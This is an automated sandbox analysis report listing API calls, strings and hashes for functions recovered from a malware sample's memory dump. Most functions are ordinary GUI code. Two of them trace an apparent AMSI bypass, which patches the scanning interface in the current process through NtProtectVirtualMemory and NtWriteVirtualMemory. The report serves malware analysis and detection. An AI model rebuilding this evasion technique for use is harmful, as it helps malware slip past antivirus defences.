Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Rect$Window$LongMetricsSystem$BrushClipColorExcludeFillInflateOffsetRelease
String ID:
API String ID: 19621357-0
Opcode ID: 9ccd5eba085b926876b7a10f04099d356a2d657ebb604638e3a7227a5c7db05a
Instruction ID: 039181272a95addfc419dacdc9a77261a63f9c3bc58ec5effcb294d36e91cddd
Opcode Fuzzy Hash: 9ccd5eba085b926876b7a10f04099d356a2d657ebb604638e3a7227a5c7db05a
Instruction Fuzzy Hash: A2414C76A14209AECB10EAECCC41EEFB7BDAF49350F140551FA04FB281C671AA858760

Uniqueness

Uniqueness Score: -1.00%

Function 0330BD10 Relevance: 17.9, APIs: 4, Strings: 6, Instructions: 403processsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 032CFD40: LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFD78
Part of subcall function 032CFD40: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFD86
Part of subcall function 032CFD40: GetProcAddress.KERNEL32(74F60000,00000000), ref: 032CFD9F
Part of subcall function 032CFD40: GetCurrentProcess.KERNEL32(0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFDBB
Part of subcall function 032CFD40: NtProtectVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFDC1
Part of subcall function 032CFD40: GetCurrentProcess.KERNEL32(0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 032CFDEB
Part of subcall function 032CFD40: NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000), ref: 032CFDF1
Part of subcall function 032CFD40: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000), ref: 032CFDFA
Part of subcall function 032CFD40: NtFlushInstructionCache.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000), ref: 032CFE00
Part of subcall function 032CFD40: FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000), ref: 032CFE0B

CreateProcessAsUserW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000030,00000000,00000000,00000044,?,ScanString,03330350,0330C3F8,OpenSession,03330350), ref: 0330C128
WaitForSingleObject.KERNEL32(?,000000FF,ScanString,03330350,0330C3F8,OpenSession,03330350,0330C3F8,ScanString,03330350,0330C3F8,OpenSession,03330350,0330C3F8,UacScan,03330350), ref: 0330C372
CloseHandle.KERNEL32(?,?,000000FF,ScanString,03330350,0330C3F8,OpenSession,03330350,0330C3F8,ScanString,03330350,0330C3F8,OpenSession,03330350,0330C3F8,UacScan), ref: 0330C37B
CloseHandle.KERNEL32(?,?,?,000000FF,ScanString,03330350,0330C3F8,OpenSession,03330350,0330C3F8,ScanString,03330350,0330C3F8,OpenSession,03330350,0330C3F8), ref: 0330C384

Strings

OpenSession, xrefs: 0330BDBB, 0330BFBC, 0330C1A5, 0330C291
AmsiOpenSession, xrefs: 0330BF01
ScanString, xrefs: 0330BE2C, 0330C02D, 0330C216, 0330C302
Amsi, xrefs: 0330BF18
UacScan, xrefs: 0330BD4A, 0330BF4B, 0330C134
D, xrefs: 0330BF2E

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Process$CurrentHandle$CloseLibraryMemoryVirtual$AddressCacheCreateFlushFreeInstructionLoadModuleObjectProcProtectSingleUserWaitWrite
String ID: Amsi$AmsiOpenSession$D$OpenSession$ScanString$UacScan
API String ID: 1580047464-2048511366
Opcode ID: d1e7d52665e4c945686b9d91c73d2434b861537b1825d098e365b67d3fbf9ece
Instruction ID: c4aa54e11a1ffd4b8b6288e24be51c0d619e54b958bfdfdb81d801005703a9a2
Opcode Fuzzy Hash: d1e7d52665e4c945686b9d91c73d2434b861537b1825d098e365b67d3fbf9ece
Instruction Fuzzy Hash: 3DF13B38A203299BDB15FB65CCD0BDEB3B9AF45340F5041E2D018AF256DAB4AEC58F51

Uniqueness

Uniqueness Score: -1.00%

Function 032B25CC Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 032B296A

Strings

Unexpected Memory Leak, xrefs: 032B295C
7, xrefs: 032B273D
The sizes of unexpected leaked medium and large blocks are: , xrefs: 032B28E5
An unexpected memory leak has occurred. , xrefs: 032B272C
Unknown, xrefs: 032B2828
String, xrefs: 032B283D
bytes: , xrefs: 032B27F9
, xrefs: 032B28B0
The unexpected small block leaks are:, xrefs: 032B27A3

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: eb318e441d262f3940374c01d5d5ce26b6e8b877f6551b66669ba3bedb16ff5a
Instruction ID: e90ac949454aa7b5e5d46f839b3b82a5e8906b88fd8dc25e16f32c582769613b
Opcode Fuzzy Hash: eb318e441d262f3940374c01d5d5ce26b6e8b877f6551b66669ba3bedb16ff5a
Instruction Fuzzy Hash: 3BA1F934A24368CBDF21EA2CC884BD8B6F9EB0D790F1449E5E589DB345CBB489C5CB51

Uniqueness

Uniqueness Score: -1.00%

Function 032DB264 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

EnumDisplayMonitors.USER32(?,?,?,?), ref: 032DB29D
GetSystemMetrics.USER32(00000000), ref: 032DB2C2
GetSystemMetrics.USER32(00000001), ref: 032DB2CD
GetClipBox.GDI32(?,?), ref: 032DB2DF
GetDCOrgEx.GDI32(?,?), ref: 032DB2EC
OffsetRect.USER32(?,?,?), ref: 032DB305
IntersectRect.USER32(?,?,?), ref: 032DB316
IntersectRect.USER32(?,?,?), ref: 032DB32C

Part of subcall function 032DACBC: GetProcAddress.KERNEL32(76910000,00000000), ref: 032DAD3B

Strings

EnumDisplayMonitors, xrefs: 032DB27C

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Rect$IntersectMetricsSystem$AddressClipDisplayEnumMonitorsOffsetProc
String ID: EnumDisplayMonitors
API String ID: 362875416-2491903729
Opcode ID: 5462091944a1370c9f1fc21b4961d184b998dda7e230d5a741b04fdf8c8074ae
Instruction ID: 32a885a6b55f533d97a078cd30c204ab462e4034d578e711984f969d1a9d1ce2
Opcode Fuzzy Hash: 5462091944a1370c9f1fc21b4961d184b998dda7e230d5a741b04fdf8c8074ae
Instruction Fuzzy Hash: 63315076E1420EAFDB50DEA8C844AEFB7FCAF45600F058126E915E6200E7B4D5818BA0

Uniqueness

Uniqueness Score: -1.00%

Function 032EFF04 Relevance: 16.6, APIs: 11, Instructions: 133windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 032EFF4F
CreateCompatibleBitmap.GDI32(00000000,?), ref: 032EFF73
ReleaseDC.USER32(00000000,00000000), ref: 032EFF7E
CreateCompatibleDC.GDI32(00000000), ref: 032EFF85
SelectObject.GDI32(00000000,?), ref: 032EFF95
BeginPaint.USER32(00000000,?,00000000,032F0056,?,00000000,?,00000000,00000000,00000000,00000000,?), ref: 032EFFB7
BitBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 032F0013
EndPaint.USER32(00000000,?,00000000,00000000,00000000,?,?,00000000,?,00000000,00000000,00000000,00000000,?), ref: 032F0024
SelectObject.GDI32(00000000,?), ref: 032F003E
DeleteDC.GDI32(00000000), ref: 032F0047
DeleteObject.GDI32(?), ref: 032F0050

Part of subcall function 032EF90C: BeginPaint.USER32(00000000,?), ref: 032EF937
Part of subcall function 032EF90C: EndPaint.USER32(00000000,?,032EFA72), ref: 032EFA65

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Paint$Object$BeginCompatibleCreateDeleteSelect$BitmapRelease
String ID:
API String ID: 3867285559-0
Opcode ID: 7390f1488fa7812d2ebcc6d3711e91d623385861eb27663dce70a26fc9285a85
Instruction ID: 07cad15e384894a1064139984933b45b330c02f5c8d7e1f5dc406ca540f4f8d8
Opcode Fuzzy Hash: 7390f1488fa7812d2ebcc6d3711e91d623385861eb27663dce70a26fc9285a85
Instruction Fuzzy Hash: 24415B39B10304AFDB10EBA8CD84BAEB7F8EF49740F5044A9F609DB381DAB59D458B50

Uniqueness

Uniqueness Score: -1.00%

Function 032E6E9C Relevance: 16.6, APIs: 11, Instructions: 91COMMON

Download Yara Rule

APIs

IsWindowUnicode.USER32(?), ref: 032E6EB6
SetWindowLongW.USER32(?,000000FC,?), ref: 032E6ED1
GetWindowLongW.USER32(?,000000F0), ref: 032E6EDC
GetWindowLongW.USER32(?,000000F4), ref: 032E6EEE
SetWindowLongW.USER32(?,000000F4,?), ref: 032E6F01
SetWindowLongA.USER32(?,000000FC,?), ref: 032E6F1A
GetWindowLongA.USER32(?,000000F0), ref: 032E6F25
GetWindowLongA.USER32(?,000000F4), ref: 032E6F37
SetWindowLongA.USER32(?,000000F4,?), ref: 032E6F4A
SetPropA.USER32(?,00000000,00000000), ref: 032E6F61
SetPropA.USER32(?,00000000,00000000), ref: 032E6F78

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Window$Long$Prop$Unicode
String ID:
API String ID: 1693715928-0
Opcode ID: 4c2c421cfc2bbefd1a7850dd52b57cd8b6a931f887a37ed13c2bba8b81df71d8
Instruction ID: 62b131e61cddad02fa58c878aa728fab72283fb11a7c34c001463c3e476312ae
Opcode Fuzzy Hash: 4c2c421cfc2bbefd1a7850dd52b57cd8b6a931f887a37ed13c2bba8b81df71d8
Instruction Fuzzy Hash: BB31C879514248BBDF00EF9CDC84EEA77ECAF4C3A4F148691B958CB295C774D9809B50

Uniqueness

Uniqueness Score: -1.00%

Function 0330AE18 Relevance: 16.2, APIs: 2, Strings: 7, Instructions: 420libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtWriteVirtualMemory,UacScan,03330350,0330B47C,OpenSession,03330350,0330B47C,ScanBuffer,03330350,0330B47C,00000000,0330B464), ref: 0330AF5F
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 0330AF65

Part of subcall function 032CFD40: LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFD78
Part of subcall function 032CFD40: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFD86
Part of subcall function 032CFD40: GetProcAddress.KERNEL32(74F60000,00000000), ref: 032CFD9F
Part of subcall function 032CFD40: GetCurrentProcess.KERNEL32(0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFDBB
Part of subcall function 032CFD40: NtProtectVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFDC1
Part of subcall function 032CFD40: GetCurrentProcess.KERNEL32(0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 032CFDEB
Part of subcall function 032CFD40: NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000), ref: 032CFDF1
Part of subcall function 032CFD40: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000), ref: 032CFDFA
Part of subcall function 032CFD40: NtFlushInstructionCache.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000), ref: 032CFE00
Part of subcall function 032CFD40: FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000), ref: 032CFE0B

Strings

OpenSession, xrefs: 0330AEAA, 0330AFD2, 0330B2DC, 0330B369
UacScan, xrefs: 0330AF03
UacInitialize, xrefs: 0330AF79, 0330B0E3, 0330B1FA
ScanString, xrefs: 0330B08A
NtWriteVirtualMemory, xrefs: 0330AF55
ScanBuffer, xrefs: 0330AE51, 0330B02B, 0330B14E, 0330B26B, 0330B3DA
C:\Windows\System32\ntdll.dll, xrefs: 0330AF5A

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CurrentProcess$AddressHandleLibraryMemoryModuleProcVirtual$CacheFlushFreeInstructionLoadProtectWrite
String ID: C:\Windows\System32\ntdll.dll$NtWriteVirtualMemory$OpenSession$ScanBuffer$ScanString$UacInitialize$UacScan
API String ID: 2787793100-4174081549
Opcode ID: 458bf2677642813dfcf529c7e6c868515af23c691bdf1e1e761e80499fcae63e
Instruction ID: 8b258872115fb743f29c11814856129e1f62f31bc13272016579e4f1cbe19074
Opcode Fuzzy Hash: 458bf2677642813dfcf529c7e6c868515af23c691bdf1e1e761e80499fcae63e
Instruction Fuzzy Hash: FCF11138A202189FDB14FBA5D9D0FCEB7B9EF44340F1180A5E144AF256DB70EE858B51

Uniqueness

Uniqueness Score: -1.00%

Function 032EFAA4 Relevance: 15.2, APIs: 10, Instructions: 227windowCOMMON

Download Yara Rule

APIs

RectVisible.GDI32(00000000,?), ref: 032EFBBC
SaveDC.GDI32(00000000), ref: 032EFBDF
IntersectClipRect.GDI32(00000000,00000000,00000000,?,?), ref: 032EFC1F
RestoreDC.GDI32(00000000,00000000), ref: 032EFC4B

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Rect$ClipIntersectRestoreSaveVisible
String ID:
API String ID: 1976014923-0
Opcode ID: f6f61e20dccdf9be0f5ee39e20a922feec740032bd05449bfe6bf1ee64f09daa
Instruction ID: 392b454ed66e6ed0839cd073bf248c1c502f63272f08a8ba8505ba26f5ba278c
Opcode Fuzzy Hash: f6f61e20dccdf9be0f5ee39e20a922feec740032bd05449bfe6bf1ee64f09daa
Instruction Fuzzy Hash: FB911674A10249AFDB04DFA8C585FEEBBF8AF08704F5940A4E904EB252D775E980CB50

Uniqueness

Uniqueness Score: -1.00%

Function 032FF110 Relevance: 15.1, APIs: 10, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(00000000,00000000), ref: 032FF15B
DeleteMenu.USER32(00000000,0000F130,00000000,00000000,00000000), ref: 032FF179
DeleteMenu.USER32(00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 032FF186
DeleteMenu.USER32(00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 032FF193
DeleteMenu.USER32(00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000,00000000), ref: 032FF1A0
DeleteMenu.USER32(00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000,0000F130,00000000,00000000), ref: 032FF1AD
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000,00000007,00000400,00000000), ref: 032FF1BA
DeleteMenu.USER32(00000000,0000F120,00000000,00000000,0000F000,00000000,00000000,0000F020,00000000,00000000,0000F030,00000000,00000000,00000005,00000400,00000000), ref: 032FF1C7
EnableMenuItem.USER32(00000000,0000F020,00000001), ref: 032FF1E5
EnableMenuItem.USER32(00000000,0000F030,00000001), ref: 032FF201

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Menu$Delete$EnableItem$System
String ID:
API String ID: 3985193851-0
Opcode ID: 313c49e9c89adff7db6b8cd284efb0d9489ddccdcc28967ae6050d332f119f6e
Instruction ID: 85fabdb81a8b3f486dec9aa3124d94d1915c9525f50b75f81a966582bc389326
Opcode Fuzzy Hash: 313c49e9c89adff7db6b8cd284efb0d9489ddccdcc28967ae6050d332f119f6e
Instruction Fuzzy Hash: C4213E793A4345BEE720EB24CD8DF9ABBE86B04B54F0440A0B6496F6D2C7F4E9C08754

Uniqueness

Uniqueness Score: -1.00%

Function 032B25CA Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

Unexpected Memory Leak, xrefs: 032B295C
7, xrefs: 032B273D
The sizes of unexpected leaked medium and large blocks are: , xrefs: 032B28E5
An unexpected memory leak has occurred. , xrefs: 032B272C
bytes: , xrefs: 032B27F9
, xrefs: 032B28B0
The unexpected small block leaks are:, xrefs: 032B27A3

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: b4cdd8e2597479994a2be9851709b40ba6d1cb19d7da4938eef1818c14d6be8b
Instruction ID: 0b7ffc32775c1229e5ab566a515b80babdf882efa83b399e05c518ee8039d543
Opcode Fuzzy Hash: b4cdd8e2597479994a2be9851709b40ba6d1cb19d7da4938eef1818c14d6be8b
Instruction Fuzzy Hash: C871C634A24368CBDF21EA2CC884BD8B6F9EB0D780F1449E5D18DDB245DBB489C5CB51

Uniqueness

Uniqueness Score: -1.00%

Function 032EA188 Relevance: 13.7, APIs: 9, Instructions: 154COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,?,?), ref: 032EA1C3
MulDiv.KERNEL32(?,?,?), ref: 032EA1DD
MulDiv.KERNEL32(?,?,?), ref: 032EA20B
MulDiv.KERNEL32(?,?,?), ref: 032EA221
MulDiv.KERNEL32(?,?,?), ref: 032EA259
MulDiv.KERNEL32(?,?,?), ref: 032EA271

Part of subcall function 032D2514: MulDiv.KERNEL32(00000000,00000048,?), ref: 032D2525

MulDiv.KERNEL32(?), ref: 032EA2C8
MulDiv.KERNEL32(?), ref: 032EA2F2
MulDiv.KERNEL32(00000000), ref: 032EA318

Part of subcall function 032D2530: MulDiv.KERNEL32(00000000,?,00000048), ref: 032D253D

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62d55de0d4e188b73f9b256e420affa46d3a52c05ec87d03101080e94fa94bb4
Instruction ID: 5b83fbd9611e52f87ffe6fa62fe7e4015bd6ac042591a9760c95162c70d3cfa3
Opcode Fuzzy Hash: 62d55de0d4e188b73f9b256e420affa46d3a52c05ec87d03101080e94fa94bb4
Instruction Fuzzy Hash: EA514C74618751AFC320EB69C845BAAFBF9AF45740F488C1DB9D5DB341C6B6E884CB20

Uniqueness

Uniqueness Score: -1.00%

Function 03302AAC Relevance: 13.6, APIs: 9, Instructions: 132windowregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 032CE97C: VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040), ref: 032CE99A

GetClassInfoA.USER32(032B0000,03302748,?), ref: 03302B0B
RegisterClassA.USER32(0331B650), ref: 03302B23

Part of subcall function 032B669C: LoadStringA.USER32(00000000,0000FFF3,?,00001000), ref: 032B66CE

SetWindowLongA.USER32(0000000E,000000FC,10940000), ref: 03302BBF
SendMessageA.USER32(0000000E,00000080,00000001,00000000), ref: 03302BE1
SetClassLongA.USER32(0000000E,000000F2,00000000), ref: 03302BF4
GetSystemMenu.USER32(0000000E,00000000,0000000E,000000FC,10940000,032F99F8), ref: 03302BFF
DeleteMenu.USER32(00000000,0000F030,00000000,0000000E,00000000,0000000E,000000FC,10940000,032F99F8), ref: 03302C0E
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F030,00000000,0000000E,00000000,0000000E,000000FC,10940000,032F99F8), ref: 03302C1B
DeleteMenu.USER32(00000000,0000F010,00000000,00000000,0000F000,00000000,00000000,0000F030,00000000,0000000E,00000000,0000000E,000000FC,10940000,032F99F8), ref: 03302C32

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: Menu$ClassDelete$Long$AllocInfoLoadMessageRegisterSendStringSystemVirtualWindow
String ID:
API String ID: 2103932818-0
Opcode ID: 413487e130b9f353cfd9fa6be57dee88d6da984f31790c591f3d676e085951dd
Instruction ID: ba748d6abd5569f0acd42d28642683c285449d57809feb0f09b3795cf1946709
Opcode Fuzzy Hash: 413487e130b9f353cfd9fa6be57dee88d6da984f31790c591f3d676e085951dd
Instruction Fuzzy Hash: 15418F74650340AFEB20FF68DCD1FAA73ACAB18740F5454A4F940DF2D6D6B5A8808B24

Uniqueness

Uniqueness Score: -1.00%

Function 032EB10C Relevance: 13.6, APIs: 9, Instructions: 122windowCOMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 032EB143
GetDCEx.USER32(?,00000000,00000402), ref: 032EB156
SelectObject.GDI32(?,00000000), ref: 032EB179
PatBlt.GDI32(?,?,?,?,00000000,005A0049), ref: 032EB19F
PatBlt.GDI32(?,?,?,00000000,?,005A0049), ref: 032EB1C1
PatBlt.GDI32(?,?,?,?,00000000,005A0049), ref: 032EB1E0
PatBlt.GDI32(?,?,?,00000000,?,005A0049), ref: 032EB1FA
SelectObject.GDI32(?,?), ref: 032EB207
ReleaseDC.USER32(?,?), ref: 032EB221

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: ObjectSelect$DesktopReleaseWindow
String ID:
API String ID: 1187665388-0
Opcode ID: 60152969c72596b39cc23c460afb7a4e96cadd9de5f0c0ba128a20f77dc78231
Instruction ID: 02ffdefb125f4380200a6e9361380eb602846333ca050084d0f0d0f1f8b7bd75
Opcode Fuzzy Hash: 60152969c72596b39cc23c460afb7a4e96cadd9de5f0c0ba128a20f77dc78231
Instruction Fuzzy Hash: 5731E7BAA10219AFDB00DEECCC85DEFBBBCFF09640B444464B514FB240D6B5AD448BA0

Uniqueness

Uniqueness Score: -1.00%

Function 032BCFCC Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,032BD297,?,?,00000000,00000000), ref: 032BD002

Part of subcall function 032BB8C4: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 032BB8E2

Strings

AMPM , xrefs: 032BD225
AMPM, xrefs: 032BD216
:mm:ss, xrefs: 032BD252
mmmm d, yyyy, xrefs: 032BD0FE
m/d/yy, xrefs: 032BD0D1
:mm, xrefs: 032BD235

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

